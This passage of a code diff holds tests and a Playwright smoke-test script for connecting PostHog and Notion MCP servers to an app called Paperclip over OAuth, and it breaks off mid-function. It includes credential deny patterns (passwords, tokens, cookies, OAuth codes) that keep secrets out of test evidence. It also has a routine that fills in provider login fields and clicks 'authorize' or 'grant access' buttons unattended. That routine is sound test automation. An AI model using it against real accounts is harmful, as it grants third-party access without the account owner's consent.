authorizationUrl: "https://mcp.notion.com/authorize?state=not-recorded",
|
||||
registrationSource: "cimd",
|
||||
issuer: "https://mcp.notion.com",
|
||||
resource: "https://mcp.notion.com/mcp",
|
||||
});
|
||||
assert.equal(persistedOAuthStartResult({ id: "connection-123", config: {} }, "https://example.test"), null);
|
||||
});
|
||||
|
||||
test("accepts zero-count cleanup before setup but requires full revocation after install", () => {
|
||||
const partial = {
|
||||
installsRemoved: 0,
|
||||
appProfileBindingsRemoved: 0,
|
||||
credentialRefsCleared: 0,
|
||||
secretsRevoked: 0,
|
||||
secretBindingsRemoved: 0,
|
||||
grantsRevoked: 0,
|
||||
oauthStatesDiscarded: 1,
|
||||
runtimeSlotsStopped: 0,
|
||||
appProfile: "absent",
|
||||
};
|
||||
assert.deepEqual(connectionRemovalFacts(partial), {
|
||||
credentialsRemoved: 0,
|
||||
secretBindingsRemoved: 0,
|
||||
grantsRevoked: 0,
|
||||
accessBindingsRemoved: 0,
|
||||
installsRemoved: 0,
|
||||
oauthStatesDiscarded: 1,
|
||||
runtimeSlotsStopped: 0,
|
||||
appProfile: "absent",
|
||||
});
|
||||
assert.equal(connectionRemovalFacts(partial, { requireInstalled: true }), null);
|
||||
assert.ok(connectionRemovalFacts({
|
||||
...partial,
|
||||
installsRemoved: 1,
|
||||
appProfileBindingsRemoved: 1,
|
||||
secretsRevoked: 1,
|
||||
appProfile: "deleted",
|
||||
}, { requireInstalled: true }));
|
||||
});
|
||||
|
||||
test("workspace proof extraction and fresh-run comments retain only sanitized identity", () => {
|
||||
const identity = extractNotionIdentity({
|
||||
result: {
|
||||
content: [{
|
||||
type: "text",
|
||||
text: JSON.stringify({
|
||||
id: "bot-123",
|
||||
type: "bot",
|
||||
bot: { workspace_id: "workspace-123", workspace_name: "Paperclip" },
|
||||
token: "discard-me",
|
||||
}),
|
||||
}],
|
||||
},
|
||||
});
|
||||
assert.deepEqual(identity, {
|
||||
workspaceId: "workspace-123",
|
||||
workspaceName: "Paperclip",
|
||||
botId: "bot-123",
|
||||
});
|
||||
assert.deepEqual(
|
||||
parseSanitizedAgentProof(
|
||||
'{"workspaceId":"workspace-123","workspaceName":"Paperclip","invocationId":"inv-123"}',
|
||||
identity,
|
||||
),
|
||||
{ workspaceId: "workspace-123", workspaceName: "Paperclip", invocationId: "inv-123" },
|
||||
);
|
||||
assert.deepEqual(
|
||||
parseRuntimeAbsenceProof('{"connectionId":"conn-123","toolPresent":false}', "conn-123"),
|
||||
{ connectionId: "conn-123", toolPresent: false },
|
||||
);
|
||||
});
|
||||
|
||||
test("sanitized evidence rejects credential fields, sessions, and OAuth query values", () => {
|
||||
assert.doesNotThrow(() => assertSanitizedEvidence({ workspaceId: "workspace-123", invocationId: "inv-123" }));
|
||||
assert.throws(() => assertSanitizedEvidence({ accessToken: "secret" }), /unsafe_evidence_key/);
|
||||
assert.throws(() => assertSanitizedEvidence({ sessionId: "secret" }), /unsafe_evidence_key/);
|
||||
assert.throws(() => assertSanitizedEvidence({ note: "callback?code=secret" }), /unsafe_evidence_text/);
|
||||
});
|
||||
|
|
@ -0,0 +1,247 @@
|
|||
const REQUIRED_ENVIRONMENT = [
|
||||
"INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL",
|
||||
"INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD",
|
||||
"INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID",
|
||||
];
|
||||
const REQUIRED_PROJECT_ID = "483530";
|
||||
|
||||
export class PosthogLivePreflightError extends Error {
|
||||
constructor(code, details = {}) {
|
||||
super(code);
|
||||
this.name = "PosthogLivePreflightError";
|
||||
this.code = code;
|
||||
this.details = details;
|
||||
}
|
||||
}
|
||||
|
||||
function requiredValue(environment, key) {
|
||||
const value = environment[key];
|
||||
return typeof value === "string" ? value.trim() : "";
|
||||
}
|
||||
|
||||
export function parsePosthogLiveArguments(args = []) {
|
||||
if (args.length === 0) return {};
|
||||
if (args.length === 1 && !args[0].startsWith("-")) return { baseUrl: args[0] };
|
||||
if (args.length === 2 && args[0] === "--base-url" && args[1].trim()) {
|
||||
return { baseUrl: args[1] };
|
||||
}
|
||||
throw new PosthogLivePreflightError("invalid_arguments");
|
||||
}
|
||||
|
||||
export function preflightPosthogLive(environment = process.env, options = {}) {
|
||||
const missing = REQUIRED_ENVIRONMENT.filter((key) => requiredValue(environment, key) === "");
|
||||
if (missing.length > 0) {
|
||||
throw new PosthogLivePreflightError("missing_environment", { missing });
|
||||
}
|
||||
|
||||
const baseUrlValue = typeof options.baseUrl === "string" && options.baseUrl.trim()
|
||||
? options.baseUrl.trim()
|
||||
: requiredValue(environment, "PAPERCLIP_API_URL");
|
||||
if (!baseUrlValue) {
|
||||
throw new PosthogLivePreflightError("missing_base_url");
|
||||
}
|
||||
|
||||
let baseUrl;
|
||||
try {
|
||||
baseUrl = new URL(baseUrlValue);
|
||||
} catch {
|
||||
throw new PosthogLivePreflightError("invalid_base_url");
|
||||
}
|
||||
const loopback = baseUrl.hostname === "127.0.0.1" || baseUrl.hostname === "localhost" || baseUrl.hostname === "[::1]";
|
||||
if ((baseUrl.protocol !== "https:" && !(loopback && baseUrl.protocol === "http:"))
|
||||
|| baseUrl.username
|
||||
|| baseUrl.password
|
||||
|| baseUrl.search
|
||||
|| baseUrl.hash) {
|
||||
throw new PosthogLivePreflightError("unsafe_base_url");
|
||||
}
|
||||
baseUrl.pathname = baseUrl.pathname.replace(/\/+$/, "") || "/";
|
||||
|
||||
const projectId = requiredValue(environment, "INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID");
|
||||
if (!/^\d+$/.test(projectId)) {
|
||||
throw new PosthogLivePreflightError("invalid_project_id");
|
||||
}
|
||||
if (projectId !== REQUIRED_PROJECT_ID) {
|
||||
throw new PosthogLivePreflightError("unexpected_project_id");
|
||||
}
|
||||
const email = requiredValue(environment, "INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL");
|
||||
if (!email.includes("@")) {
|
||||
throw new PosthogLivePreflightError("invalid_email");
|
||||
}
|
||||
|
||||
return {
|
||||
baseUrl: baseUrl.origin,
|
||||
email,
|
||||
password: environment.INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD,
|
||||
projectId,
|
||||
};
|
||||
}
|
||||
|
||||
export async function preparePosthogLiveSmoke({
|
||||
environment = process.env,
|
||||
baseUrl,
|
||||
fetchImpl = globalThis.fetch,
|
||||
loadBrowser,
|
||||
}) {
|
||||
const config = preflightPosthogLive(environment, { baseUrl });
|
||||
let response;
|
||||
try {
|
||||
response = await fetchImpl(new URL("/api/health", config.baseUrl), {
|
||||
headers: { accept: "application/json" },
|
||||
signal: AbortSignal.timeout(15_000),
|
||||
});
|
||||
} catch {
|
||||
throw new PosthogLivePreflightError("health_unreachable");
|
||||
}
|
||||
if (!response.ok) {
|
||||
throw new PosthogLivePreflightError("health_http_error", { status: response.status });
|
||||
}
|
||||
let body;
|
||||
try {
|
||||
body = await response.json();
|
||||
} catch {
|
||||
throw new PosthogLivePreflightError("health_invalid_json");
|
||||
}
|
||||
if (body?.status !== "ok") {
|
||||
throw new PosthogLivePreflightError("health_not_ok");
|
||||
}
|
||||
return { config, browserModule: await loadBrowser() };
|
||||
}
|
||||
|
||||
function projectIdFrom(candidate) {
|
||||
if (!candidate || typeof candidate !== "object" || Array.isArray(candidate)) return null;
|
||||
for (const key of ["projectId", "project_id", "projectID", "id"]) {
|
||||
const value = candidate[key];
|
||||
if (typeof value === "string" || typeof value === "number") return String(value);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function projectNameFrom(candidate) {
|
||||
if (!candidate || typeof candidate !== "object" || Array.isArray(candidate)) return null;
|
||||
for (const key of ["projectName", "project_name", "name"]) {
|
||||
const value = candidate[key];
|
||||
if (typeof value === "string" && value.trim()) return value.trim();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function parsedJsonString(value) {
|
||||
const trimmed = value.trim();
|
||||
if (trimmed.length === 0 || trimmed.length > 200_000) return null;
|
||||
const candidates = [trimmed];
|
||||
const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i);
|
||||
if (fenced) candidates.unshift(fenced[1]);
|
||||
for (const candidate of candidates) {
|
||||
if (!candidate.startsWith("{") && !candidate.startsWith("[")) continue;
|
||||
try {
|
||||
return JSON.parse(candidate);
|
||||
} catch {
|
||||
// Some MCP servers wrap structured JSON in prose; the regex fallback below
|
||||
// handles the small project summary without retaining that prose.
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function extractProjectSummary(value, expectedProjectId) {
|
||||
const seen = new Set();
|
||||
const visit = (candidate, depth) => {
|
||||
if (depth > 12 || candidate === null || candidate === undefined) return null;
|
||||
if (typeof candidate === "string") {
|
||||
const parsed = parsedJsonString(candidate);
|
||||
if (parsed !== null) {
|
||||
const nested = visit(parsed, depth + 1);
|
||||
if (nested) return nested;
|
||||
}
|
||||
if (candidate.length <= 200_000) {
|
||||
const idMatch = candidate.match(/(?:project[_\s-]*id|\bid\b)["'\s:=]+([0-9]+)/i);
|
||||
if (idMatch?.[1] === expectedProjectId) {
|
||||
const nameMatch = candidate.match(/(?:project[_\s-]*name|\bname\b)["'\s:=]+["']?([^"'\n,}\]]+)/i);
|
||||
return { id: expectedProjectId, name: nameMatch?.[1]?.trim() || null };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
if (typeof candidate !== "object" || seen.has(candidate)) return null;
|
||||
seen.add(candidate);
|
||||
|
||||
if (!Array.isArray(candidate)) {
|
||||
const id = projectIdFrom(candidate);
|
||||
if (id === expectedProjectId) {
|
||||
return { id, name: projectNameFrom(candidate) };
|
||||
}
|
||||
}
|
||||
const children = Array.isArray(candidate) ? candidate : Object.values(candidate);
|
||||
for (const child of children) {
|
||||
const found = visit(child, depth + 1);
|
||||
if (found) return found;
|
||||
}
|
||||
return null;
|
||||
};
|
||||
return visit(value, 0);
|
||||
}
|
||||
|
||||
export function parseSanitizedAgentProof(commentBody, expectedProjectId) {
|
||||
if (typeof commentBody !== "string") return null;
|
||||
const trimmed = commentBody.trim();
|
||||
const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(fenced ? fenced[1] : trimmed);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null;
|
||||
if (Object.keys(parsed).sort().join(",") !== "invocationId,projectId,projectName") return null;
|
||||
if (String(parsed.projectId ?? "") !== expectedProjectId) return null;
|
||||
if (typeof parsed.projectName !== "string" || !parsed.projectName.trim()) return null;
|
||||
if (typeof parsed.invocationId !== "string" || !parsed.invocationId.trim()) return null;
|
||||
return {
|
||||
projectId: expectedProjectId,
|
||||
projectName: parsed.projectName.trim(),
|
||||
invocationId: parsed.invocationId.trim(),
|
||||
};
|
||||
}
|
||||
|
||||
const FORBIDDEN_EVIDENCE_KEYS = /(?:password|access[_-]?token|refresh[_-]?token|authorization|cookie|oauth[_-]?code|client[_-]?secret)/i;
|
||||
const FORBIDDEN_EVIDENCE_TEXT = /(?:authorization:\s*bearer|cookie:|[?&](?:code|state|token|access_token|refresh_token)=)/i;
|
||||
|
||||
export function assertSanitizedEvidence(value) {
|
||||
const seen = new Set();
|
||||
const visit = (candidate, path) => {
|
||||
if (candidate === null || candidate === undefined) return;
|
||||
if (typeof candidate === "string") {
|
||||
if (FORBIDDEN_EVIDENCE_TEXT.test(candidate)) {
|
||||
throw new Error(`unsafe_evidence_text:${path}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (typeof candidate !== "object" || seen.has(candidate)) return;
|
||||
seen.add(candidate);
|
||||
for (const [key, child] of Object.entries(candidate)) {
|
||||
if (FORBIDDEN_EVIDENCE_KEYS.test(key)) {
|
||||
throw new Error(`unsafe_evidence_key:${path}.${key}`);
|
||||
}
|
||||
visit(child, `${path}.${key}`);
|
||||
}
|
||||
};
|
||||
visit(value, "$");
|
||||
}
|
||||
|
||||
export function preflightFailureMessage(error) {
|
||||
if (!(error instanceof PosthogLivePreflightError)) return "PostHog live smoke preflight failed.";
|
||||
if (error.code === "missing_environment") {
|
||||
return `PostHog live smoke preflight failed: missing ${error.details.missing.join(", ")}.`;
|
||||
}
|
||||
if (error.code === "health_http_error") {
|
||||
return `PostHog live smoke preflight failed: /api/health returned HTTP ${error.details.status}.`;
|
||||
}
|
||||
if (error.code === "missing_base_url") {
|
||||
return "PostHog live smoke preflight failed: pass the target Paperclip URL or run inside a Paperclip heartbeat.";
|
||||
}
|
||||
if (error.code === "invalid_arguments") {
|
||||
return "PostHog live smoke preflight failed: expected an optional Paperclip URL or --base-url <url>.";
|
||||
}
|
||||
return `PostHog live smoke preflight failed: ${error.code}.`;
|
||||
}
|
||||
|
|
@ -0,0 +1,801 @@
|
|||
#!/usr/bin/env node
|
||||
|
||||
import { mkdir, writeFile } from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import {
|
||||
assertSanitizedEvidence,
|
||||
extractProjectSummary,
|
||||
parsePosthogLiveArguments,
|
||||
parseSanitizedAgentProof,
|
||||
PosthogLivePreflightError,
|
||||
preflightFailureMessage,
|
||||
preparePosthogLiveSmoke,
|
||||
} from "./posthog-live-lib.mjs";
|
||||
|
||||
const TARGET_COMPANY_PREFIX = "PAP";
|
||||
const TARGET_AGENT_NAME = "CodexCoderPro";
|
||||
const PROJECT_GET = "project-get";
|
||||
const PROJECT_SETTINGS_UPDATE = "project-settings-update";
|
||||
const EXCLUDED_PROJECT_SWITCHERS = new Set(["switch-project", "switch-organization"]);
|
||||
const DEFAULT_AGENT_TIMEOUT_MS = 15 * 60_000;
|
||||
|
||||
class SmokeFailure extends Error {
|
||||
constructor(checkpoint, code) {
|
||||
super(`${checkpoint}:${code}`);
|
||||
this.name = "SmokeFailure";
|
||||
this.checkpoint = checkpoint;
|
||||
this.code = code;
|
||||
}
|
||||
}
|
||||
|
||||
function fail(checkpoint, code) {
|
||||
throw new SmokeFailure(checkpoint, code);
|
||||
}
|
||||
|
||||
function asArray(value, key) {
|
||||
if (Array.isArray(value)) return value;
|
||||
if (value && typeof value === "object" && Array.isArray(value[key])) return value[key];
|
||||
return [];
|
||||
}
|
||||
|
||||
function escapeRegex(value) {
|
||||
return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
||||
}
|
||||
|
||||
function screenshotFile(outputDirectory, name) {
|
||||
return path.join(outputDirectory, name);
|
||||
}
|
||||
|
||||
function safeConnectionConfig(connection, expectedProjectId) {
|
||||
const methodConfig = connection?.config?.methodConfig;
|
||||
if (!methodConfig || typeof methodConfig !== "object" || Array.isArray(methodConfig)) {
|
||||
fail("C.connection-detail", "method_config_missing");
|
||||
}
|
||||
if (connection.config?.connectionMethodKey !== "mcp-oauth") {
|
||||
fail("C.connection-detail", "oauth_method_not_recorded");
|
||||
}
|
||||
if (String(methodConfig.projectId ?? "") !== expectedProjectId) {
|
||||
fail("C.connection-detail", "wrong_project_pin");
|
||||
}
|
||||
if (methodConfig.readOnly !== false || methodConfig.mode !== "tools") {
|
||||
fail("C.connection-detail", "unexpected_posthog_scope");
|
||||
}
|
||||
if ((methodConfig.features ?? "") !== "" || (methodConfig.tools ?? "") !== "") {
|
||||
fail("C.connection-detail", "unexpected_tool_filter");
|
||||
}
|
||||
if (!connection.config?.oauth?.connectedAt) {
|
||||
fail("B.oauth-callback", "oauth_not_connected");
|
||||
}
|
||||
}
|
||||
|
||||
function assertNoCredentialMaterial(value, secrets, checkpoint) {
|
||||
const serialized = JSON.stringify(value);
|
||||
for (const secret of secrets) {
|
||||
if (secret && serialized.includes(secret)) fail(checkpoint, "credential_material_visible");
|
||||
}
|
||||
if (/[?&](?:code|state|access_token|refresh_token)=/i.test(serialized)) {
|
||||
fail(checkpoint, "oauth_query_material_visible");
|
||||
}
|
||||
const forbiddenValueKey = /^(?:password|accessToken|access_token|refreshToken|refresh_token|oauthCode|oauth_code|clientSecret|client_secret|cookie|authorizationHeader)$/i;
|
||||
const visit = (candidate, seen = new Set()) => {
|
||||
if (!candidate || typeof candidate !== "object" || seen.has(candidate)) return;
|
||||
seen.add(candidate);
|
||||
for (const [key, child] of Object.entries(candidate)) {
|
||||
if (forbiddenValueKey.test(key) && child !== null && child !== "") {
|
||||
fail(checkpoint, "raw_credential_field_visible");
|
||||
}
|
||||
visit(child, seen);
|
||||
}
|
||||
};
|
||||
visit(value);
|
||||
}
|
||||
|
||||
async function apiJson(request, baseUrl, method, pathname, data, checkpoint, expectedStatuses = [200]) {
|
||||
let response;
|
||||
try {
|
||||
response = await request.fetch(new URL(pathname, baseUrl).toString(), {
|
||||
method,
|
||||
...(data === undefined ? {} : { data }),
|
||||
headers: { accept: "application/json" },
|
||||
timeout: 30_000,
|
||||
});
|
||||
} catch {
|
||||
fail(checkpoint, "request_failed");
|
||||
}
|
||||
if (!expectedStatuses.includes(response.status())) {
|
||||
fail(checkpoint, `http_${response.status()}`);
|
||||
}
|
||||
try {
|
||||
return await response.json();
|
||||
} catch {
|
||||
fail(checkpoint, "invalid_json");
|
||||
}
|
||||
}
|
||||
|
||||
async function waitFor(checkpoint, fn, { timeoutMs = 120_000, intervalMs = 2_000 } = {}) {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
let lastValue;
|
||||
while (Date.now() < deadline) {
|
||||
lastValue = await fn();
|
||||
if (lastValue) return lastValue;
|
||||
await new Promise((resolve) => setTimeout(resolve, intervalMs));
|
||||
}
|
||||
fail(checkpoint, "timed_out");
|
||||
return lastValue;
|
||||
}
|
||||
|
||||
async function expectVisible(locator, checkpoint, code, timeout = 30_000) {
|
||||
try {
|
||||
await locator.waitFor({ state: "visible", timeout });
|
||||
} catch {
|
||||
fail(checkpoint, code);
|
||||
}
|
||||
}
|
||||
|
||||
async function clickVisibleButton(page, names) {
|
||||
for (const name of names) {
|
||||
const button = page.getByRole("button", { name, exact: false }).filter({ visible: true }).first();
|
||||
if (await button.count()) {
|
||||
try {
|
||||
await button.click({ timeout: 2_000 });
|
||||
return true;
|
||||
} catch {
|
||||
// Provider pages often replace their form between locator creation and
|
||||
// click. The next loop re-reads the current DOM.
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
async function completePosthogAuthorization(page, config) {
|
||||
const paperclipOrigin = new URL(config.baseUrl).origin;
|
||||
const deadline = Date.now() + 4 * 60_000;
|
||||
while (Date.now() < deadline) {
|
||||
let current;
|
||||
try {
|
||||
current = new URL(page.url());
|
||||
} catch {
|
||||
fail("B.oauth-callback", "invalid_navigation_url");
|
||||
}
|
||||
if (current.origin === paperclipOrigin && current.pathname.includes("/apps/")) return;
|
||||
|
||||
const emailInput = page.locator('input[type="email"], input[name="email"], input[autocomplete="username"]').filter({ visible: true }).first();
|
||||
if (await emailInput.count()) {
|
||||
const currentValue = await emailInput.inputValue().catch(() => "");
|
||||
if (!currentValue) await emailInput.fill(config.email);
|
||||
}
|
||||
|
||||
const passwordInput = page.locator('input[type="password"], input[name="password"], input[autocomplete="current-password"]').filter({ visible: true }).first();
|
||||
if (await passwordInput.count()) {
|
||||
const currentValue = await passwordInput.inputValue().catch(() => "");
|
||||
if (!currentValue) await passwordInput.fill(config.password);
|
||||
await clickVisibleButton(page, [/^sign in$/i, /^log in$/i, /^continue$/i, /sign in with email/i]);
|
||||
} else if (await emailInput.count()) {
|
||||
await clickVisibleButton(page, [/^continue$/i, /^next$/i, /continue with email/i, /sign in with email/i]);
|
||||
} else {
|
||||
await clickVisibleButton(page, [
|
||||
/^authorize$/i,
|
||||
/^allow$/i,
|
||||
/^approve$/i,
|
||||
/^grant access$/i,
|
||||
/^accept$/i,
|
||||
/^continue$/i,
|
||||
/^sign in$/i,
|
||||
/^log in$/i,
|
||||
]);
|
||||
}
|
||||
await page.waitForTimeout(500);
|
||||
}
|
||||
fail("B.oauth-callback", "provider_authorization_timed_out");
|
||||
}
|
||||
|
||||
async function safeScreenshot(page, outputPath, config, checkpoint) {
|
||||
const current = new URL(page.url());
|
||||
if (current.origin !== new URL(config.baseUrl).origin) fail(checkpoint, "screenshot_not_on_paperclip");
|
||||
for (const queryKey of ["code", "state", "token", "access_token", "refresh_token"]) {
|
||||
if (current.searchParams.has(queryKey)) fail(checkpoint, "credential_query_in_screenshot_url");
|
||||
}
|
||||
const bodyText = await page.locator("body").innerText();
|
||||
if (bodyText.includes(config.password) || /[?&](?:code|state|access_token|refresh_token)=/i.test(bodyText)) {
|
||||
fail(checkpoint, "credential_material_in_screenshot");
|
||||
}
|
||||
await page.screenshot({
|
||||
path: outputPath,
|
||||
fullPage: true,
|
||||
animations: "disabled",
|
||||
mask: [page.getByText(config.email, { exact: false })],
|
||||
});
|
||||
}
|
||||
|
||||
function catalogFacts(catalog, checkpoint) {
|
||||
const active = catalog.filter((entry) => entry.status !== "removed");
|
||||
const projectGet = active.find((entry) => entry.toolName === PROJECT_GET);
|
||||
const projectSettings = active.find((entry) => entry.toolName === PROJECT_SETTINGS_UPDATE);
|
||||
if (!projectGet || !projectGet.isReadOnly) fail(checkpoint, "project_get_missing_or_not_read_only");
|
||||
if (!projectSettings || projectSettings.isReadOnly) fail(checkpoint, "project_settings_update_missing_or_not_write");
|
||||
for (const excluded of EXCLUDED_PROJECT_SWITCHERS) {
|
||||
if (active.some((entry) => entry.toolName === excluded)) fail(checkpoint, `excluded_${excluded}_present`);
|
||||
}
|
||||
return { active, projectGet, projectSettings };
|
||||
}
|
||||
|
||||
async function finishAgentOnlySetup(request, config, companyId, connectionId, catalog, agentId) {
|
||||
const { active } = catalogFacts(catalog, "C.catalog-policy");
|
||||
const enabledCatalogEntryIds = active.filter((entry) => entry.isReadOnly).map((entry) => entry.id);
|
||||
await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"POST",
|
||||
`/api/companies/${companyId}/tools/apps/${connectionId}/finish`,
|
||||
{
|
||||
enabledCatalogEntryIds,
|
||||
askFirstCatalogEntryIds: [],
|
||||
reviewedCatalogEntryIds: active.filter((entry) => entry.status === "quarantined").map((entry) => entry.id),
|
||||
access: { agentIds: [agentId] },
|
||||
},
|
||||
"C.catalog-policy",
|
||||
);
|
||||
await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"PUT",
|
||||
`/api/tool-connections/${connectionId}/installs`,
|
||||
{ installs: [{ targetType: "agent", targetId: agentId }] },
|
||||
"C.agent-install",
|
||||
);
|
||||
}
|
||||
|
||||
async function cleanupConnection(request, config, companyId, connectionId, connectionName) {
|
||||
const removed = await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"DELETE",
|
||||
`/api/tool-connections/${connectionId}`,
|
||||
undefined,
|
||||
"F.cleanup",
|
||||
);
|
||||
const receipt = removed.removal;
|
||||
if (!receipt
|
||||
|| receipt.installsRemoved < 1
|
||||
|| receipt.appProfileBindingsRemoved < 1
|
||||
|| receipt.credentialRefsCleared + receipt.secretsRevoked < 1
|
||||
|| !["deleted", "archived"].includes(receipt.appProfile)) {
|
||||
fail("F.cleanup", "incomplete_removal_receipt");
|
||||
}
|
||||
|
||||
const connectionsResponse = await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/companies/${companyId}/tools/connections`,
|
||||
undefined,
|
||||
"F.cleanup-verification",
|
||||
);
|
||||
const remaining = asArray(connectionsResponse, "connections").filter(
|
||||
(connection) => connection.name === connectionName && connection.status !== "archived",
|
||||
);
|
||||
if (remaining.length > 0) fail("F.cleanup-verification", "test_connection_remains");
|
||||
|
||||
const profilesResponse = await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/companies/${companyId}/tools/profiles`,
|
||||
undefined,
|
||||
"F.cleanup-verification",
|
||||
);
|
||||
if (asArray(profilesResponse, "profiles").some((profile) => profile.profileKey === `app:${connectionId}` && profile.status === "active")) {
|
||||
fail("F.cleanup-verification", "active_profile_remains");
|
||||
}
|
||||
const pendingResponse = await apiJson(
|
||||
request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/companies/${companyId}/tools/action-requests?status=pending`,
|
||||
undefined,
|
||||
"F.cleanup-verification",
|
||||
);
|
||||
if (asArray(pendingResponse, "actionRequests").some((item) => (item.connectionId ?? item.request?.connectionId) === connectionId)) {
|
||||
fail("F.cleanup-verification", "pending_action_remains");
|
||||
}
|
||||
return {
|
||||
credentialsTornDown: receipt.credentialRefsCleared + receipt.secretsRevoked > 0,
|
||||
accessBindingsRemoved: receipt.appProfileBindingsRemoved,
|
||||
installsRemoved: receipt.installsRemoved,
|
||||
appProfile: receipt.appProfile,
|
||||
pendingActions: 0,
|
||||
remainingConnections: 0,
|
||||
};
|
||||
}
|
||||
|
||||
async function runSmoke({ config, chromium }) {
|
||||
const startedAt = new Date();
|
||||
const runKey = startedAt.toISOString().replace(/[:.]/g, "-");
|
||||
const connectionName = `PostHog live self-test ${startedAt.toISOString()}`;
|
||||
const outputDirectory = process.env.POSTHOG_EVIDENCE_DIR
|
||||
? path.resolve(process.env.POSTHOG_EVIDENCE_DIR)
|
||||
: path.join(process.env.PAPERCLIP_RUN_SCRATCH_DIR || process.cwd(), `posthog-live-${runKey}`);
|
||||
await mkdir(outputDirectory, { recursive: true });
|
||||
|
||||
const summary = {
|
||||
schemaVersion: 1,
|
||||
smoke: "posthog_mcp_live",
|
||||
passed: false,
|
||||
startedAt: startedAt.toISOString(),
|
||||
completedAt: null,
|
||||
target: { companyPrefix: TARGET_COMPANY_PREFIX, projectId: config.projectId },
|
||||
connection: null,
|
||||
catalog: null,
|
||||
boardTest: null,
|
||||
freshRun: null,
|
||||
cleanup: null,
|
||||
screenshots: [],
|
||||
failure: null,
|
||||
};
|
||||
|
||||
let browser;
|
||||
let context;
|
||||
let connectionId = null;
|
||||
let companyId = null;
|
||||
let cleanupComplete = false;
|
||||
let caughtFailure = null;
|
||||
|
||||
try {
|
||||
browser = await chromium.launch({ headless: process.env.POSTHOG_SMOKE_HEADED !== "1" });
|
||||
context = await browser.newContext({
|
||||
viewport: { width: 1440, height: 1000 },
|
||||
acceptDownloads: false,
|
||||
serviceWorkers: "block",
|
||||
});
|
||||
const page = await context.newPage();
|
||||
|
||||
await page.goto(new URL("/auth?next=/", config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.locator("#email"), "A.paperclip-login", "email_field_missing");
|
||||
await page.locator("#email").fill(config.email);
|
||||
await page.locator("#password").fill(config.password);
|
||||
const loginResponsePromise = page.waitForResponse((response) =>
|
||||
response.request().method() === "POST" && new URL(response.url()).pathname === "/api/auth/sign-in/email",
|
||||
);
|
||||
await page.getByRole("button", { name: /^sign in$/i }).click();
|
||||
const loginResponse = await loginResponsePromise;
|
||||
if (!loginResponse.ok()) fail("A.paperclip-login", `http_${loginResponse.status()}`);
|
||||
await page.waitForURL((url) => url.pathname !== "/auth", { timeout: 30_000 }).catch(() => {
|
||||
fail("A.paperclip-login", "login_redirect_missing");
|
||||
});
|
||||
|
||||
const companiesResponse = await apiJson(context.request, config.baseUrl, "GET", "/api/companies", undefined, "A.company-selection");
|
||||
const company = asArray(companiesResponse, "companies").find((candidate) => candidate.issuePrefix === TARGET_COMPANY_PREFIX);
|
||||
if (!company) fail("A.company-selection", "pap_company_missing");
|
||||
companyId = company.id;
|
||||
|
||||
const agentsResponse = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/companies/${companyId}/agents`,
|
||||
undefined,
|
||||
"C.agent-scope",
|
||||
);
|
||||
const agent = asArray(agentsResponse, "agents").find((candidate) => candidate.name === TARGET_AGENT_NAME);
|
||||
if (!agent) fail("C.agent-scope", "codex_coder_pro_missing");
|
||||
|
||||
const setupUrl = new URL(`/${TARGET_COMPANY_PREFIX}/apps/connect?byo=1&appKey=posthog&stage=setup`, config.baseUrl);
|
||||
await page.goto(setupUrl.toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByRole("heading", { name: "Connect PostHog" }), "A.setup-route", "posthog_setup_missing");
|
||||
await expectVisible(page.getByRole("button", { name: "Sign in with PostHog" }), "A.setup-route", "oauth_method_missing");
|
||||
await expectVisible(page.getByRole("button", { name: "Use a personal API key" }), "A.setup-route", "api_key_method_missing");
|
||||
|
||||
await page.getByRole("button", { name: "Sign in with PostHog" }).click();
|
||||
const nameInput = page.locator('input[placeholder="My app"]');
|
||||
await nameInput.fill(connectionName);
|
||||
await page.locator('input[placeholder="12345"]').fill(config.projectId);
|
||||
const readOnlyScope = page.locator("div").filter({ hasText: /^Read-only mode/ }).filter({ has: page.getByRole("switch") }).first();
|
||||
const readOnlySwitch = readOnlyScope.getByRole("switch");
|
||||
if (await readOnlySwitch.getAttribute("aria-checked") !== "false") fail("B.oauth-setup", "read_only_default_changed");
|
||||
await page.getByText("Advanced", { exact: true }).click();
|
||||
const featuresInput = page.locator("label", { hasText: "Feature groups" }).locator("..").locator("textarea");
|
||||
const toolsInput = page.locator("label", { hasText: "Individual tools" }).locator("..").locator("textarea");
|
||||
if (await featuresInput.inputValue() !== "" || await toolsInput.inputValue() !== "") {
|
||||
fail("B.oauth-setup", "tool_filters_not_blank");
|
||||
}
|
||||
const responseMode = page.locator("label", { hasText: "Tool response mode" }).locator("..").locator("select");
|
||||
if (await responseMode.inputValue() !== "tools") fail("B.oauth-setup", "individual_tools_mode_not_selected");
|
||||
|
||||
const connectResponsePromise = page.waitForResponse((response) => {
|
||||
const target = new URL(response.url());
|
||||
